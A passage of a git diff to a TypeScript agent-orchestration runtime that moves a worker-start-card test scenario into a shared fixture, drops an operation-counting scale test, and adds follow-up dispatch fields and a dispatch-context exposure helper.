itemId }) => itemId)).toEqual([ + ...before.items.map(({ itemId }) => itemId), + card.itemId + ]) + expect(card.body).toMatchObject({ + kind: 'agent-start', + task, + ...(!federated + ? { worker: { party: { address: 'term_worker', terminalHandle: 'term_worker' } } } + : {}) + }) + if (card.body.kind !== 'agent-start') { + throw new Error('missing start body') + } + if (federated) { + expect(card.body.worker.party.address).toBe(`dispatch:${card.body.dispatchId}`) + } + const destination = append.mock.calls[0][0] + await Promise.all([ + current.host.appendAgentStart( + destination, + { ...card.body, task: 'replayed task' }, + card.observedAt + 10 + ), + current.host.appendAgentStart(destination, card.body, card.observedAt + 20) + ]) + expect( + (await current.host.journalSnapshot(COORD)).items.filter( + (item) => item.body.kind === 'agent-start' + ) + ).toEqual(cards) + expect(projectStructuredAgentStartItem(card)).toMatchObject({ + role: 'system', + agentStart: true, + timestamp: card.observedAt, + blocks: [{ type: 'text', text: task }] + }) + expect(projectStructuredAgentSessionStatusSummary(snapshot.items, snapshot.submissions)).toEqual( + projectStructuredAgentSessionStatusSummary(before.items, before.submissions) + ) + // Full task survives removal of the orchestration rows it came from. + db.resetAll() + expect( + (await current.host.journalSnapshot(COORD)).items.find((item) => item.itemId === card.itemId) + ).toEqual(card) + if (scenario === 'success') { + const context = await current.host.continuationContext({ + sessionId: COORD, + workspaceId: current.store.getConversation(COORD)!.location.workspaceId, + expectedCursor: snapshot.cursor + }) + expect(context).toMatchObject({ status: 'current' }) + if (context.status !== 'current' || !context.transcriptPath) { + throw new Error('saved context missing') + } + const saved = await readFile(context.transcriptPath, 'utf8') + expect(saved).toContain('Coordinate this work') + expect(saved).not.toContain(task) + expect(context.capturedText).not.toContain(task) + await current.quitRestartHostProcess() + await closeTestJournalHostDatabase(current.root) + current.crashRestartHostProcess() + const reopened = await current.host.journalSnapshot(COORD) + expect(reopened.items.map(({ itemId }) => itemId)).toEqual( + snapshot.items.map(({ itemId }) => itemId) + ) + expect(reopened.items.filter(({ body }) => body.kind !== 'tool-call')).toEqual( + snapshot.items.filter(({ body }) => body.kind !== 'tool-call') + ) + const recovered = reopened.items.find(({ itemId }) => itemId === 'orca:caller-1') + expect(recovered).toEqual({ + ...snapshot.items[1], + revision: snapshot.items[1].revision + 1, + recovered: true, + recoveredAt: expect.any(Number), + body: { + kind: 'tool-call', + name: 'shell', + input: { command: 'inspect' }, + state: 'failed', + endedAs: 'interrupted' + } + }) + expect(reopened.cursor.epoch).toBe(snapshot.cursor.epoch) + expect(reopened.cursor.sequence).toBeGreaterThan(snapshot.cursor.sequence) + const history = await current.host.history({ sessionId: COORD, direction: 'tail' }) + expect(history).toMatchObject({ ok: true, page: { items: reopened.items } }) + } + const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal + if (scenario === 'success') { + for (let index = 0; index < 3; index++) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `pressure-${index}` }, + { + kind: 'message', + role: 'assistant', + blocks: [{ type: 'text', text: 'x'.repeat(750000) }] + }, + { + fence: current.store.getConversation(COORD)!.currentFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + } + const tail = await current.host.history({ sessionId: COORD, direction: 'tail' }) + if (!tail.ok) { + throw new Error('pressure tail missing') + } + expect(tail.page.hasOlder).toBe(true) + expect(tail.page.items.some(({ itemId }) => itemId === card.itemId)).toBe(false) + const older = await current.host.history({ + sessionId: COORD, + direction: 'before', + cursor: tail.page.window.nextCursor + }) + if (!older.ok) { + throw new Error('pressure older page missing') + } + expect(older.page.items.find(({ itemId }) => itemId === card.itemId)).toEqual(card) + } + await journal.appendTombstone( + { provider: 'orca', clientMessageId: `agent-start:${card.body.dispatchId}` }, + { fence: current.store.getConversation(COORD)!.currentFence } + ) + if (scenario === 'success') { + await current.quitRestartHostProcess() + await closeTestJournalHostDatabase(current.root) + current.crashRestartHostProcess() + } + await current.host.appendAgentStart(destination, card.body, card.observedAt + 30) + expect( + (await current.host.journalSnapshot(COORD)).items.some((item) => item.itemId === card.itemId) + ).toBe(false) +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts index 72f2d8a48f1..fbdc6a8042c 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts @@ -1,54 +1,29 @@ -import { afterEach, expect, it, vi } from 'vitest' -import { createOrchestrationRpcHarness } from './rpc-test-harness' +import { verifyWorkerStartCardScenario } from './worker-start-card-scenario.test-fixture' +import { expect, it, vi } from 'vitest' import { partialRuntimeStore } from '../../../runtime-store-partial-fixture' import { resolveOrchestrationSessionCaller } from '../../orchestration-session-caller' import { setStructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/structured-agent-session-registry' import { createQueuedMessageTestRig, eventually, - QUEUED_RIG_CALLER, - type QueuedMessageTestRig + QUEUED_RIG_CALLER } from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' import { hostTestAttachParams, hostTestOperationId } from '../../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' -import { testOrcaSessionId } from '../../../../../shared/orca-session-address-test-fixture' -import { projectStructuredAgentStartItem } from '../../../../../shared/structured-agent-start-projection' import { AGENT_JOURNAL_THREAD_SCOPE, type AgentJournalItemBody } from '../../../../../shared/agent-session-journal-types' -import { - closeTestJournalHostDatabase, - openTestJournalHostDatabase -} from '../../../../native-chat/agent-session-journal/journal-host-database-test-support' -import * as journalSchema from '../../../../native-chat/agent-session-journal/journal-row-schema' -import { StructuredAgentSessionJournalProjections } from '../../../../native-chat/agent-session-wire/structured-agent-session-status-journal-projection' -import { installSqlVisitCounters } from '../../../dispatch-predicate-visits.test-fixture' -import { createMinimalPersistedTerminalTab } from '../../../../persistence/restoring-sessions/session-owner-fields' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import { readFile } from 'node:fs/promises' -import { projectStructuredAgentSessionStatusSummary } from '../../../../../shared/structured-agent-session-projection' -import { prepareWorkerStartCard } from '../../../orchestration/worker-start-card' -import * as placement from './worker/worker-start-agent-placement' -import * as topology from './worker/worker-topology' import { ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY, ORCHESTRATION_FEDERATION_RUNTIME_CAPABILITY } from '../../../../../shared/protocol-version' +import * as placement from './worker/worker-start-agent-placement' +import * as topology from './worker/worker-topology' -const h = createOrchestrationRpcHarness() -const COORD = testOrcaSessionId('start-card-caller') -const WORKER = testOrcaSessionId('start-card-worker') -let rig: QueuedMessageTestRig | undefined -afterEach(async () => { - setStructuredAgentSessionHost(null) - await rig?.dispose() - rig = undefined - h.cleanup() - vi.restoreAllMocks() -}) +import { fixture, COORD, WORKER, h } from './worker-start-card-contract-test-fixture' it.each([ 'success', @@ -66,8 +41,8 @@ it.each([ ] as const)( 'real worker-start records creation independently of launch: %s', async (scenario) => { - rig = await createQueuedMessageTestRig({ sessionId: WORKER }) - const current = rig + fixture.rig = await createQueuedMessageTestRig({ sessionId: WORKER }) + const current = fixture.rig if (scenario === 'readiness-failure') { current.dispatch.mockRejectedValueOnce(new Error('provider dispatch failed')) } @@ -308,457 +283,7 @@ it.each([ ).toBe(true) ) } - const snapshot = await current.host.journalSnapshot(COORD) - const cards = snapshot.items.filter((item) => item.body.kind === 'agent-start') - if (scenario !== 'success' && scenario !== 'federated') { - expect(cards).toHaveLength(0) - return - } - expect(cards).toHaveLength(1) - const [card] = cards - expect(snapshot.items.map(({ itemId }) => itemId)).toEqual([ - ...before.items.map(({ itemId }) => itemId), - card.itemId - ]) - expect(card.body).toMatchObject({ - kind: 'agent-start', - task, - ...(!federated - ? { worker: { party: { address: 'term_worker', terminalHandle: 'term_worker' } } } - : {}) - }) - if (card.body.kind !== 'agent-start') { - throw new Error('missing start body') - } - if (federated) { - expect(card.body.worker.party.address).toBe(`dispatch:${card.body.dispatchId}`) - } - const destination = append.mock.calls[0][0] - await Promise.all([ - current.host.appendAgentStart( - destination, - { ...card.body, task: 'replayed task' }, - card.observedAt + 10 - ), - current.host.appendAgentStart(destination, card.body, card.observedAt + 20) - ]) - expect( - (await current.host.journalSnapshot(COORD)).items.filter( - (item) => item.body.kind === 'agent-start' - ) - ).toEqual(cards) - expect(projectStructuredAgentStartItem(card)).toMatchObject({ - role: 'system', - agentStart: true, - timestamp: card.observedAt, - blocks: [{ type: 'text', text: task }] - }) - expect( - projectStructuredAgentSessionStatusSummary(snapshot.items, snapshot.submissions) - ).toEqual(projectStructuredAgentSessionStatusSummary(before.items, before.submissions)) - // Full task survives removal of the orchestration rows it came from. - db.resetAll() - expect( - (await current.host.journalSnapshot(COORD)).items.find((item) => item.itemId === card.itemId) - ).toEqual(card) - if (scenario === 'success') { - const context = await current.host.continuationContext({ - sessionId: COORD, - workspaceId: current.store.getConversation(COORD)!.location.workspaceId, - expectedCursor: snapshot.cursor - }) - expect(context).toMatchObject({ status: 'current' }) - if (context.status !== 'current' || !context.transcriptPath) { - throw new Error('saved context missing') - } - const saved = await readFile(context.transcriptPath, 'utf8') - expect(saved).toContain('Coordinate this work') - expect(saved).not.toContain(task) - expect(context.capturedText).not.toContain(task) - await current.quitRestartHostProcess() - await closeTestJournalHostDatabase(current.root) - current.crashRestartHostProcess() - const reopened = await current.host.journalSnapshot(COORD) - expect(reopened.items.map(({ itemId }) => itemId)).toEqual( - snapshot.items.map(({ itemId }) => itemId) - ) - expect(reopened.items.filter(({ body }) => body.kind !== 'tool-call')).toEqual( - snapshot.items.filter(({ body }) => body.kind !== 'tool-call') - ) - const recovered = reopened.items.find(({ itemId }) => itemId === 'orca:caller-1') - expect(recovered).toEqual({ - ...snapshot.items[1], - revision: snapshot.items[1].revision + 1, - recovered: true, - recoveredAt: expect.any(Number), - body: { - kind: 'tool-call', - name: 'shell', - input: { command: 'inspect' }, - state: 'failed', - endedAs: 'interrupted' - } - }) - expect(reopened.cursor.epoch).toBe(snapshot.cursor.epoch) - expect(reopened.cursor.sequence).toBeGreaterThan(snapshot.cursor.sequence) - const history = await current.host.history({ sessionId: COORD, direction: 'tail' }) - expect(history).toMatchObject({ ok: true, page: { items: reopened.items } }) - } - const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal - if (scenario === 'success') { - for (let index = 0; index < 3; index++) { - await journal.appendItem( - { provider: 'orca', clientMessageId: `pressure-${index}` }, - { - kind: 'message', - role: 'assistant', - blocks: [{ type: 'text', text: 'x'.repeat(750000) }] - }, - { - fence: current.store.getConversation(COORD)!.currentFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - } - const tail = await current.host.history({ sessionId: COORD, direction: 'tail' }) - if (!tail.ok) { - throw new Error('pressure tail missing') - } - expect(tail.page.hasOlder).toBe(true) - expect(tail.page.items.some(({ itemId }) => itemId === card.itemId)).toBe(false) - const older = await current.host.history({ - sessionId: COORD, - direction: 'before', - cursor: tail.page.window.nextCursor - }) - if (!older.ok) { - throw new Error('pressure older page missing') - } - expect(older.page.items.find(({ itemId }) => itemId === card.itemId)).toEqual(card) - } - await journal.appendTombstone( - { provider: 'orca', clientMessageId: `agent-start:${card.body.dispatchId}` }, - { fence: current.store.getConversation(COORD)!.currentFence } - ) - if (scenario === 'success') { - await current.quitRestartHostProcess() - await closeTestJournalHostDatabase(current.root) - current.crashRestartHostProcess() - } - await current.host.appendAgentStart(destination, card.body, card.observedAt + 30) - expect( - (await current.host.journalSnapshot(COORD)).items.some((item) => item.itemId === card.itemId) - ).toBe(false) + await verifyWorkerStartCardScenario({ current, scenario, before, task, federated, db, append }) }, 20_000 ) - -it.each([10, 100])( - 'counts populated producer source and journal operations for %i starts and duplicate publications', - async (count) => { - rig = await createQueuedMessageTestRig({ sessionId: COORD }) - const current = rig - setStructuredAgentSessionHost(current.host) - const session = getDefaultWorkspaceSession() - const { runtime, db } = h.setup( - false, - partialRuntimeStore({ - getSettings: () => ({ agentDefaultSurface: 'terminal' }), - getWorkspaceSession: () => session - }) - ) - vi.spyOn(runtime, 'ensureStructuredAgentSessionHost').mockResolvedValue() - const run = db.createRun({ - objective: 'scale', - coordinatorHandle: null, - coordinatorPaneKey: null - }) - const tabs: ReturnType[] = [] - const facts: { dispatchId: string; workerAddress: string; task: string; name: string }[] = [] - for (let index = 0; index < 10 * count; index++) { - const handle = `term_scale_${index}` - const tabId = `scale-tab-${index}` - const leafId = `11111111-1111-4111-8111-${String(index).padStart(12, '0')}` - tabs.push( - createMinimalPersistedTerminalTab({ - worktreeId: 'workspace-1', - tabId, - ptyId: `pty-${index}`, - existingTabCount: index - }) - ) - runtime.handles.set(handle, { - handle, - runtimeId: runtime.getRuntimeId(), - rendererGraphEpoch: 1, - worktreeId: 'workspace-1', - tabId, - leafId, - ptyId: null, - ptyGeneration: 0, - issuedForPaneKey: `${tabId}:${leafId}` - }) - const task = db.createTask({ - runId: run.id, - spec: `Task ${index}`, - displayName: `Scale worker ${index}` - }) - const { dispatch } = db.createStartingWorkerDispatch({ - creator: { kind: 'system' }, - maxDepth: Number.MAX_SAFE_INTEGER, - taskId: task.id, - startOptions: {} - }) - db.prepareStartingWorkerAuthority({ - dispatchId: dispatch.id, - handle, - paneKey: `${tabId}:${leafId}`, - processIncarnation: `scale:${index}`, - worktreeId: 'workspace-1', - effects: [], - setupState: 'not_applicable' - }) - db.markWorkerDispatchReady(dispatch.id) - if (index >= 9 * count) { - facts.push({ - dispatchId: dispatch.id, - workerAddress: handle, - task: task.spec, - name: `Scale worker ${index}` - }) - } - } - let tabVisits = 0 - tabs.forEach((tab, index) => { - Object.defineProperty(tabs, index, { - get() { - tabVisits++ - return tab - } - }) - }) - session.tabsByWorktree['workspace-1'] = tabs - vi.mocked(runtime.getTerminalPaneKey).mockImplementation( - (handle) => runtime.handles.get(handle)?.issuedForPaneKey ?? null - ) - const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal - for (let index = 0; index < 9 * count; index++) { - await journal.appendItem( - { provider: 'orca', clientMessageId: `history-${index}` }, - { - kind: 'message', - role: 'assistant', - blocks: [{ type: 'text', text: `History ${index}` }] - }, - { - fence: current.store.getConversation(COORD)!.currentFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - } - const admitted = await resolveOrchestrationSessionCaller( - runtime, - { - id: 'scale', - authToken: 'test-token', - method: 'orchestration.workerStart', - params: { spec: 'Task' }, - orchestrationCompatibilityEvidence: { agentSessionId: COORD } - }, - undefined - ) - let dispatchVisits = 0 - let taskVisits = 0 - installSqlVisitCounters({ - start_dispatch_visit: () => { - dispatchVisits++ - return 1 - }, - start_task_visit: () => { - taskVisits++ - return 1 - } - }) - const prepareSource = db.db.prepare.bind(db.db) - const sourceQueries = vi - .spyOn(db.db, 'prepare') - .mockImplementation((query) => - prepareSource( - query - .replace( - 'WHERE assignee_handle = ?', - 'WHERE assignee_handle = ? AND start_dispatch_visit(rowid)' - ) - .replace( - 'FROM tasks WHERE id = ?', - 'FROM tasks WHERE id = ? AND start_task_visit(rowid)' - ) - ) - ) - const connection = openTestJournalHostDatabase(current.root).db - const epochReads = vi.spyOn( - connection.prepare('SELECT epoch FROM journal_sessions WHERE session_id = ?'), - 'get' - ) - const inserts = vi.spyOn( - connection.prepare( - 'INSERT INTO journal_rows (session_id, epoch, seq, ts, row_json) VALUES (?, ?, ?, ?, ?)' - ), - 'run' - ) - const journalQueries = vi.spyOn(connection, 'prepare') - const serialized = vi.spyOn(journalSchema, 'serializeJournalRow') - const activeSource = vi.spyOn(db, 'getActiveDispatchForTerminal') - const recordedSource = vi.spyOn(db, 'getDispatchContextById') - const sender = vi.spyOn(runtime.orchestrationSenderNames, 'sender') - const names = vi.spyOn(runtime.orchestrationSenderNames, 'nameOf') - const dedupe = vi.spyOn(journal, 'hasRecordedItem') - const scan = vi.spyOn(journal, 'visitItemsWithLinkage') - const projection = StructuredAgentSessionJournalProjections.prototype - const readProjection = projection.read - let projecting = false - vi.spyOn(projection, 'read').mockImplementation(function ( - this: StructuredAgentSessionJournalProjections, - ...args - ) { - const previous = projecting - projecting = true - try { - return readProjection.apply(this, args) - } finally { - projecting = previous - } - }) - const snapshotSources: string[] = [] - const readSnapshot = journal.snapshot.bind(journal) - const snapshot = vi.spyOn(journal, 'snapshot').mockImplementation(() => { - snapshotSources.push(projecting ? 'status-projection' : 'other') - return readSnapshot() - }) - const append = vi.spyOn(current.host, 'appendAgentStart') - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) - const before = journal.snapshot() - snapshot.mockClear() - const fail = prepareWorkerStartCard(runtime, admitted.caller) - expect(epochReads).toHaveBeenCalledTimes(1) - inserts.mockImplementationOnce(() => { - throw new Error('fixture insert failed') - }) - fail(facts[0]) - await eventually(() => expect(append).toHaveBeenCalledTimes(1)) - await Promise.allSettled(append.mock.results.map((result) => result.value)) - await eventually(() => - expect(warn).toHaveBeenCalledWith( - '[orchestration] recording a started worker in its caller chat failed', - expect.any(Error) - ) - ) - expect(epochReads).toHaveBeenCalledTimes(3) - expect(serialized).toHaveBeenCalledTimes(1) - expect(inserts).toHaveBeenCalledTimes(1) - expect(sourceQueries).toHaveBeenCalledTimes(2) - expect(dispatchVisits).toBe(1) - expect(taskVisits).toBe(1) - expect(tabVisits).toBe(9 * count + 1) - expect(journal.snapshot()).toEqual(before) - expect( - connection - .prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?') - .get(COORD)?.count - ).toBe(before.cursor.sequence) - for (const counter of [ - epochReads, - serialized, - inserts, - sourceQueries, - journalQueries, - activeSource, - recordedSource, - sender, - names, - dedupe, - scan, - snapshot, - append, - warn - ]) { - counter.mockClear() - } - snapshotSources.length = 0 - tabVisits = dispatchVisits = taskVisits = 0 - const publishers = facts.map(() => prepareWorkerStartCard(runtime, admitted.caller)) - expect(epochReads).toHaveBeenCalledTimes(count) - facts.forEach((fact, index) => publishers[index](fact)) - await eventually(() => expect(append).toHaveBeenCalledTimes(count)) - await Promise.all(append.mock.results.map((result) => result.value)) - expect(epochReads).toHaveBeenCalledTimes(3 * count) - expect(serialized).toHaveBeenCalledTimes(count) - expect(inserts).toHaveBeenCalledTimes(count) - expect(snapshotSources).toEqual(['status-projection']) - // Duplicate callbacks still name the sender but must stop before row serialization/insertion. - facts.forEach((fact, index) => publishers[index](fact)) - await eventually(() => expect(append).toHaveBeenCalledTimes(2 * count)) - await Promise.all(append.mock.results.map((result) => result.value)) - expect(epochReads).toHaveBeenCalledTimes(5 * count) - expect(serialized).toHaveBeenCalledTimes(count) - expect(inserts).toHaveBeenCalledTimes(count) - expect(sender).toHaveBeenCalledTimes(2 * count) - expect(names).toHaveBeenCalledTimes(2 * count) - expect(activeSource).toHaveBeenCalledTimes(2 * count) - expect(recordedSource).not.toHaveBeenCalled() - expect(sourceQueries).toHaveBeenCalledTimes(4 * count) - expect(dispatchVisits).toBe(2 * count) - expect(taskVisits).toBe(2 * count) - const visitsPerPass = facts.reduce((sum, _fact, index) => sum + 9 * count + index + 1, 0) - expect(tabVisits).toBe(2 * visitsPerPass) - expect(tabVisits).toBeLessThanOrEqual(2 * count * tabs.length) - expect(dedupe).toHaveBeenCalledTimes(2 * count) - expect(scan).not.toHaveBeenCalled() - expect(snapshot).toHaveBeenCalledTimes(1) - expect(snapshotSources).toEqual(['status-projection']) - expect(journalQueries.mock.calls.filter(([query]) => /FROM journal_rows/.test(query))).toEqual( - [] - ) - expect(warn).not.toHaveBeenCalled() - for (const [query] of sourceQueries.mock.calls.slice(0, 2)) { - const plan = prepareSource(`EXPLAIN QUERY PLAN ${query}`) - .all('unused') - .map((row) => row.detail) - .join(' | ') - expect(plan).toMatch(/SEARCH (?:dispatch_contexts|tasks)/) - expect(plan).not.toMatch(/SCAN/) - } - const cards = journal.snapshot().items.filter(({ body }) => body.kind === 'agent-start') - expect(cards.map(({ body }) => body)).toEqual( - facts.map((fact) => ({ - kind: 'agent-start', - dispatchId: fact.dispatchId, - task: fact.task, - worker: { - party: { - address: fact.workerAddress, - terminalHandle: fact.workerAddress, - orcaSessionId: null - }, - name: fact.name - } - })) - ) - expect( - connection - .prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?') - .get(COORD)?.count - ).toBe(before.cursor.sequence + count) - console.info('start population/operations', { - count, - sourceRecords: 10 * count, - history: 9 * count, - epochReads: epochReads.mock.calls.length, - serializedRows: serialized.mock.calls.length, - inserts: inserts.mock.calls.length, - dispatchVisits, - taskVisits, - tabVisits - }) - } -) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts b/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts index fc9a4bf7640..6515bf046f7 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts @@ -134,6 +134,7 @@ function chatTaskTurnStart(delivery: ChatTaskDelivery): WorkerTurnStartObservati case 'queued': return { verdict: 'unobserved', + queued: true, reason: "The task is waiting as a card in the chat's queue and is sent when the queue reaches " + 'it. If the worker then reports, this Dispatch settles normally. worker-abandon ' + diff --git a/src/main/runtime/rpc/methods/orchestration/worker/dispatch-context-exposure.ts b/src/main/runtime/rpc/methods/orchestration/worker/dispatch-context-exposure.ts new file mode 100644 index 00000000000..2d3a7532840 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/dispatch-context-exposure.ts @@ -0,0 +1,31 @@ +import { parseWorkerTerminalHostScope } from '../../../../../../shared/worker-terminal-host-scope' +import type { DispatchContextRow } from '../../../../orchestration/types' + +// Hide authority hashes and decode host_scope; emit one camelCase shape matching exposeWorker. +export function exposeDispatchContext(dispatch: DispatchContextRow) { + return { + id: dispatch.id, + runId: dispatch.run_id, + taskId: dispatch.task_id, + // Keep dispatch.task_id beside the rename because shipped CLIs still read it. + task_id: dispatch.task_id, + contractVersion: dispatch.contract_version, + assigneeHandle: dispatch.assignee_handle, + assigneePaneKey: dispatch.assignee_pane_key, + processIncarnation: dispatch.process_incarnation, + capabilityRevokedAt: dispatch.capability_revoked_at, + retryOfDispatchId: dispatch.retry_of_dispatch_id, + creatorDispatchId: dispatch.creator_dispatch_id, + followUpOf: dispatch.follow_up_of_dispatch_id, + hostScope: parseWorkerTerminalHostScope(dispatch.host_scope), + status: dispatch.status, + failureCount: dispatch.failure_count, + lastFailure: dispatch.last_failure, + terminationReason: dispatch.termination_reason, + depth: dispatch.depth, + dispatchedAt: dispatch.dispatched_at, + completedAt: dispatch.completed_at, + createdAt: dispatch.created_at, + lastHeartbeatAt: dispatch.last_heartbeat_at + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts index 48399431a6f..6918ced741c 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts @@ -15,7 +15,8 @@ export function createLocalWorkerStartDispatch( callerSession, existingTask, orchestrationMutation, - helperCreator + helperCreator, + followUp }: Parameters[0], { params, @@ -78,6 +79,9 @@ export function createLocalWorkerStartDispatch( retryOf: params.retryOf, startOptions, runtimeEpoch: runtime.getRuntimeId(), - mutationReceipt: orchestrationMutation + mutationReceipt: orchestrationMutation, + followUpOf: followUp?.of, + acceptedBy: followUp?.acceptedBy, + consumesMessageIds: followUp?.consumesMessageIds }) } diff --git a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts index dc945f8ed9d..07d1892a8a9 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts @@ -28,7 +28,7 @@ import { import { failWorkerStartWithReceipt } from './worker-start-receipt' import { assertExplicitWorkerUsable } from './explicit-worker-terminal-validation' import { resolveDispatchAssigneeParty } from '../../../../orchestration/orchestration-party' -import { CHAT_WORKER_AUTHORITY, chatAssigneeOf, chatWorkerMode } from '../chat-assignee-admission' +import { chatAssigneeOf, chatWorkerMode } from '../chat-assignee-admission' import { recordCreatedWorkerTerminalCustody } from './created-worker-terminal-custody' import { releaseRetriedWorkerTerminal } from './retried-worker-terminal-release' import { requireWorkerAuthority, type WorkerEffect } from './worker-topology' @@ -37,6 +37,7 @@ import { deliverAndSettleWorkerStartReadiness } from './worker-start-readiness-s import type { WorkerStartMutation } from './worker-start-mutation' import { prepareWorkerStartCard } from '../../../../orchestration/worker-start-card' import { rebindReusedStructuredWorker } from '../../orchestration-structured-worker-session' +import { placedWorkerParty, type WorkerFollowUp } from './worker-follow-up-placement' export async function startLocalWorker(args: { params: WorkerStartInput @@ -53,6 +54,7 @@ export async function startLocalWorker(args: { mode: WorkerStartModeReceipt /** Set when a worker starts its own helper; the helper reports to this Dispatch. */ helperCreator?: DispatchContextRow + followUp?: WorkerFollowUp }): Promise { const { runtime, db, coordinator, callerSession, orchestrationMutation } = args const recordStart = prepareWorkerStartCard(runtime, callerSession) @@ -160,6 +162,9 @@ export async function startLocalWorker(args: { let terminalHandle = params.terminal let placed: Awaited> | undefined let failedStage = 'terminal_create' + const onStage = (stage: string) => { + failedStage = stage + } let result: unknown try { placed = await placeWorkerAgent({ @@ -175,15 +180,15 @@ export async function startLocalWorker(args: { agent, launchPreferences: launch.preferences, effects, - onStage: (stage) => { - failedStage = stage - } + onStage, + followUp: args.followUp }) // New worktrees resolve host support after creation, so the final mode receipt may differ from preflight. mode = placed.mode resolvedWorktree = placed.worktree terminalHandle = placed.terminalHandle const { structuredSession, setupReceipt } = placed + const { workerChat, external, created, authority } = placedWorkerParty(placed, chat, terminal) const setupStage = { db, dispatchId: started.dispatch.id, @@ -192,7 +197,7 @@ export async function startLocalWorker(args: { setup: setupReceipt, effects } - recordCreatedWorkerTerminalCustody(runtime, setupStage, !params.terminal && !structuredSession) + recordCreatedWorkerTerminalCustody(runtime, setupStage, created && !structuredSession) if (persistGatedSetupSpawnFailure(setupStage)) { failedStage = 'setup_start' throw new Error('Setup terminal failed to start before the gated agent launch.') @@ -210,7 +215,7 @@ export async function startLocalWorker(args: { effects, timeoutMs: Math.max(0, readinessDeadline - Date.now()) }) - : chat + : workerChat ? // A chat takes its task as a queued send whatever it is doing, so nothing is waited on. null : await waitForWorkerAgentReady(runtime, terminalHandle, { @@ -234,11 +239,7 @@ export async function startLocalWorker(args: { ) } } - // A structured worker's chat keeps the pane and process its custody is held under. - const terminalAuthority = - terminal && terminal.terminalHandle === null - ? CHAT_WORKER_AUTHORITY - : requireWorkerAuthority(runtime, terminalHandle) + const terminalAuthority = authority ?? requireWorkerAuthority(runtime, terminalHandle) db.prepareStartingWorkerAuthority({ dispatchId: started.dispatch.id, handle: terminalHandle, @@ -246,9 +247,9 @@ export async function startLocalWorker(args: { worktreeId: resolvedWorktree.id, effects, setupState: setupReceipt.state, - terminalOwnership: params.terminal ? 'external' : 'created' + terminalOwnership: external ? 'external' : 'created' }) - if (chat) { + if (workerChat) { rebindReusedStructuredWorker(runtime, terminalHandle, db) } @@ -256,7 +257,7 @@ export async function startLocalWorker(args: { runtime, db, run, - task, + task: placed.extraSpec ? { ...task, spec: `${task.spec}\n\n${placed.extraSpec}` } : task, dispatchId: started.dispatch.id, dispatchDepth: started.dispatch.depth, structuredSession, @@ -265,7 +266,7 @@ export async function startLocalWorker(args: { devMode: params.devMode, requestId: orchestrationMutation?.requestId ?? started.dispatch.id, agent: agent ?? null, - launchedAgent: params.terminal ? null : (agent ?? null), + launchedAgent: external || workerChat ? null : (agent ?? null), setupReceipt, launchReceipt: launch.receipt, mode, @@ -273,9 +274,7 @@ export async function startLocalWorker(args: { readinessDeadline, effects, terminalRevealWarning: placed.warning, - onStage: (stage) => { - failedStage = stage - } + onStage }) } catch (error) { result = await failWorkerStartWithReceipt({ diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts index f288e88eac7..44fdd33bcd4 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts @@ -112,7 +112,7 @@ describe('orchestration worker automatic release', () => { const keepOpen = (keep: boolean): Promise => h.call('orchestration.workerKeepOpen', { paneKey: h.workerPaneKey, keep }) - it('keeps a worker kept open while it ran past its finish, a coordinator release and reuse', async () => { + it('keeps a worker kept open while it ran past its finish, a coordinator release and follow-up work', async () => { setupWithFakeClock() const { taskId, dispatchId } = await h.startWorker() await expect( @@ -127,9 +127,13 @@ describe('orchestration worker automatic release', () => { await expect( h.call('orchestration.workerRelease', { dispatch: dispatchId }) ).resolves.toMatchObject({ state: 'retained', reason: 'user_kept' }) - await expect(h.startWorker({ terminal: 'term_worker' })).rejects.toThrow() + const followUp = await h.startWorker({ terminal: 'term_worker' }) + await vi.advanceTimersByTimeAsync(2 * GRACE_MS) expect(h.runtime.closeTerminal).not.toHaveBeenCalled() - expect(h.db.getWorkerTerminalResourceByOwner(dispatchId)?.retained_reason).toBe('user_kept') + expect(h.db.getWorkerTerminalResourceByOwner(followUp.dispatchId)).toMatchObject({ + retained_reason: 'user_kept', + auto_release_at: null + }) }) it('starts a fresh countdown when the user allows auto-close again', async () => { diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts index 0f431deaca3..49e4fdd0c36 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts +++ 